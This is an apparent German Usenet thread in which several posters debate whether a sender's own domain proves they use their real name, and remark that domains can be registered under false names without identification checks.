Wird 'Bugs Bunny' zu einer wirklichen Person, nur weil er eine (oder:
viele) Domain sein eigen nennt?

Bedenke: Sogar Bielefeld hat eine eigene Domain! ;)

>> Nicht jeder ist so plump und nennt sich "Merlinux" oder "Haluk".
> Daran kann man erkennen, das solche Leute kaum Phantasie haben.

Doch. Allerdings zuviel davon, so dass es unweigerlich zu Problemen beim
Ausleben dieser und bei der eigentlichen Realitätsrückkehr kommt.

Tschüss,
Wolle.
--
"Alles wird teurer, nur die Ausreden werden billiger."
-- Rudolf Bernhard

[Wolfgang Kaufmann]

* Thus spoke Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org>:

Hallo,

>>> Wobei ich gerne mal wüsste, wieviele der unverdächtig aussehenden
>>> "Realnames" in Wahrheit auch Pseudonyme sind.
>> Man kann ja diejenigen ausschliessen, die eine eigene Domain als
>> Absender nutzen. Diejenigen mit gmx & co. könnten evtl. Pseudonyme sein.
>
> So, wie willst du herausfinden ob hinter faul.dyndns.org wirklich
> Immo Wehrenberg sitzt? Hint: holomann.de gehoert mir auch nicht.

Das sagst Du. ;-)

Tschüss,
Wolle.


Wirklich interessante Seite.

[Thomas Skora]

Wolfgang Kaufmann <wk-u...@theparallax.com> writes:

> Wird 'Bugs Bunny' zu einer wirklichen Person, nur weil er eine (oder:
> viele) Domain sein eigen nennt?

Wenns nicht gerade eine kostenlose (Sub-)Domain(.de.vu o.ä.) ist,
sollte man schon den richtigen Namen angeben. Oder hat hier schon mal
jemand versucht eine Domain unter falschem Namen einzurichten? ;-)

Thomas

[Wolfgang Kaufmann]

* Thus spoke Thomas Skora <use...@skora.net>:

Hallo,

>> Wird 'Bugs Bunny' zu einer wirklichen Person, nur weil er eine (oder:
>> viele) Domain sein eigen nennt?
>
> Wenns nicht gerade eine kostenlose (Sub-)Domain(.de.vu o.ä.) ist,
> sollte man schon den richtigen Namen angeben.

Natürlich sollte man das.

> Oder hat hier schon mal jemand versucht eine Domain unter falschem
> Namen einzurichten? ;-)

Wieso stellst Du dir das so unmöglich vor?

*Sollte* hat mit:

| Man kann ja diejenigen ausschliessen, die eine eigene Domain als

^^^^^^^^^^^^^
| Absender nutzen.

(ausschließen) wenig gemein. Man sollte auch keine Menschen töten.

Tschüss,
Wolfgang.

[Thomas Skora]

Wolfgang Kaufmann <wk-u...@theparallax.com> writes:

>> Oder hat hier schon mal jemand versucht eine Domain unter falschem
>> Namen einzurichten? ;-)
>
> Wieso stellst Du dir das so unmöglich vor?

Ich stells mir nicht unmöglich vor. Dafür hab ich schon zu viel social
engineering betrieben ;-)

Thomas

[Michael Raab]

Versucht habe ich das noch nicht. Ich halte es aber nicht für unmöglich.
Bei meinen bisherigen Registraturen habe ich _nie_ irgendwelche
Legitimationspapiere vorweisen müssen.

Bye Michael

--
Planung bedeutet, den Zufall durch den Irrtum zu ersetzen.